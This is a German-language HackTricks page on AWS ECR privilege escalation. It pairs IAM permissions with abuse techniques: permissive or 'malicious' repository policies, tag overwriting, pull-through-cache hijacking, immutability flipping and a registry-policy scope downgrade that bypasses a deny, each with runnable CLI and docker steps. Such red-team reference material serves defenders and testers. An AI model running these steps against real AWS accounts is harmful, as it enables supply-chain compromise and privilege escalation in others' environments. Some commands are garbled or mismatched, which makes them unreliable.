AWS - ECR Privesc

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Ein Angreifer mit den Rechten ecr:GetAuthorizationToken und ecr:BatchGetImage kann sich bei ECR anmelden und Images herunterladen.

Für mehr Informationen darüber, wie man Images herunterlädt:

AWS - ECR Post Exploitation

Mögliche Auswirkungen: Indirekte privesc durch Abfangen sensibler Informationen im Netzwerkverkehr.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Ein Angreifer mit all diesen Berechtigungen kann sich bei ECR anmelden und Images hochladen. Das kann nützlich sein, um Privilegien in andere Umgebungen zu eskalieren, in denen diese Images verwendet werden.

Außerdem kann ecr:PutImage verwendet werden, um einen bestehenden Tag zu überschreiben (zum Beispiel stable / prod), indem ein anderes Image-Manifest unter diesem Tag hochgeladen wird, wodurch Tag-basierte Deployments effektiv übernommen werden.

Das ist besonders gravierend, wenn nachgelagerte Nutzer per Tag deployen und bei Tag-Änderungen automatisch aktualisieren, z. B.:

  • Lambda container image functions (PackageType=Image) referencing .../repo:stable
  • ECS services / Kubernetes workloads, die repo:prod ziehen (ohne Digest-Pinning)
  • Jede CI/CD, die bei ECR-Ereignissen neu bereitstellt

In diesen Fällen kann ein Tag-Überschreiben zu remote code execution in der Consumer-Umgebung und zur Eskalation von Rechten auf die IAM-Rolle führen, die von diesem Workload verwendet wird (zum Beispiel eine Lambda-Ausführungsrolle mit secretsmanager:GetSecretValue).

Um zu lernen, wie man ein neues Image hochlädt/aktualisiert, siehe:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Wie im vorherigen Abschnitt, aber für öffentliche Repositories.

ecr:SetRepositoryPolicy

Ein Angreifer mit dieser Berechtigung könnte die Repository Policy ändern, um sich selbst (oder sogar jedem) Lese-/Schreibzugriff zu gewähren.
Zum Beispiel wird hier Lesezugriff für alle gewährt.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Inhalt von my-policy.json:

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Wie der vorherige Abschnitt, aber für öffentliche Repositories.
Ein Angreifer kann die Repository-Policy eines ECR Public repository ändern, um unautorisierten öffentlichen Zugriff zu gewähren oder seine Privilegien zu eskalieren.

# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Mögliche Auswirkungen: Unbefugter öffentlicher Zugriff auf das ECR Public Repository, wodurch jedem Nutzer erlaubt wird, Images zu pushen, zu pullen oder zu löschen.

ecr:PutRegistryPolicy

Ein Angreifer mit dieser Berechtigung könnte die Registry-Richtlinie ändern, um sich selbst, sein Konto (oder sogar alle) Lese-/Schreibzugriff zu gewähren.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

Missbrauche ECR Pull Through Cache (PTC)-Regeln, um einen vom Angreifer kontrollierten Upstream-Namespace auf ein vertrauenswürdiges privates ECR-Präfix abzubilden. Dadurch erhalten Workloads, die vom privaten ECR abrufen, transparent Angreifer-Images, ohne dass ein Push in das private ECR notwendig ist.

  • Erforderliche Berechtigungen: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Wenn ein ECR Public upstream verwendet wird: ecr-public:* zum Erstellen/Pushen in das public repo.
  • Tested upstream: public.ecr.aws

Schritte (Beispiel):

  1. Bereite ein Angreifer-Image in ECR Public vor

Get your ECR Public alias with: aws ecr-public describe-registries –region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. Erstelle die PTC-Regel im privaten ECR, um ein vertrauenswürdiges Präfix auf das public registry abzubilden aws ecr create-pull-through-cache-rule –region us-east-2 –ecr-repository-prefix ptc –upstream-registry-url public.ecr.aws

  2. Ziehe das Angreifer-Image über den privaten ECR-Pfad (kein Push ins private ECR wurde durchgeführt) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run –rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: Kompromittierung der Lieferkette durch das Hijacking interner Image-Namen unter dem gewählten Präfix. Jede Workload, die Bilder aus dem privaten ECR mit diesem Präfix abruft, wird Angreifer-kontrollierten Inhalt erhalten.

ecr:PutImageTagMutability

Missbrauche diese Berechtigung, um ein Repository mit tag immutability auf mutable zu setzen und vertrauenswürdige Tags (z. B. latest, stable, prod) mit vom Angreifer kontrolliertem Inhalt zu überschreiben.

  • Erforderliche Berechtigungen: ecr:PutImageTagMutability plus Push-Fähigkeiten (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage).
  • Auswirkung: Kompromittierung der Lieferkette durch stilles Ersetzen unveränderlicher Tags, ohne die Tag-Namen zu ändern.

Schritte (Beispiel):

Vergifte ein unveränderliches Tag, indem du die Mutability umschaltest ```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```

Globaler Registry-Hijack via ROOT Pull-Through Cache rule

Erstelle eine Pull-Through Cache (PTC)-Regel mit dem speziellen ecrRepositoryPrefix=ROOT, um die Wurzel des privaten ECR registry auf ein upstream öffentliches registry (z. B. ECR Public) abzubilden. Jeder Pull auf ein nicht existierendes Repository im privaten registry wird transparent vom Upstream bedient, wodurch Supply-Chain-Hijacking ermöglicht wird, ohne in das private ECR zu pushen.

  • Erforderliche Berechtigungen: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • Auswirkung: Pulls zu <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> gelingen und erstellen automatisch private Repos, die vom Upstream stammen.

Hinweis: Für ROOT-Regeln --upstream-repository-prefix weglassen. Wenn angegeben, führt das zu einem Validierungsfehler.

Demo (us-east-1, upstream public.ecr.aws) ```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)

1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)

aws ecr create-pull-through-cache-rule
–region “$REGION”
–ecr-repository-prefix ROOT
–upstream-registry-url public.ecr.aws

2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)

aws ecr get-login-password –region “$REGION” | docker login –username AWS –password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

Example using an official mirror path hosted in ECR Public

(public.ecr.aws/docker/library/alpine:latest)

docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

3) Verify repo and image now exist without any push

aws ecr describe-repositories –region “$REGION”
–query “repositories[?repositoryName==docker/library/alpine]” aws ecr list-images –region “$REGION” –repository-name docker/library/alpine –filter tagStatus=TAGGED

4) Cleanup

aws ecr delete-pull-through-cache-rule –region “$REGION” –ecr-repository-prefix ROOT aws ecr delete-repository –region “$REGION” –repository-name docker/library/alpine –force || true

</details>

### `ecr:PutAccountSetting` (Herabstufen von `REGISTRY_POLICY_SCOPE`, um Registry-Policy-Deny zu umgehen)

Missbrauche `ecr:PutAccountSetting`, um den Umfang der Registry-Richtlinie von `V2` (Policy, die auf alle ECR-Aktionen angewendet wird) auf `V1` (Policy, die nur auf `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage` angewendet wird) zu wechseln. Wenn eine restriktive Registry-Richtlinie Deny Aktionen wie `CreatePullThroughCacheRule` blockiert, entfernt das Herabstufen auf `V1` diese Durchsetzung, sodass Identity‑Policy-Allow-Einträge greifen.

- Erforderliche Berechtigungen: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Auswirkung: Möglichkeit, zuvor durch ein Registry-Policy-Deny blockierte ECR-Aktionen (z. B. Erstellen von PTC-Regeln) auszuführen, indem der Umfang vorübergehend auf `V1` gesetzt wird.

Schritte (Beispiel):

<details>
<summary>Registry-Policy-Deny für CreatePullThroughCacheRule umgehen, indem auf V1 gewechselt wird</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks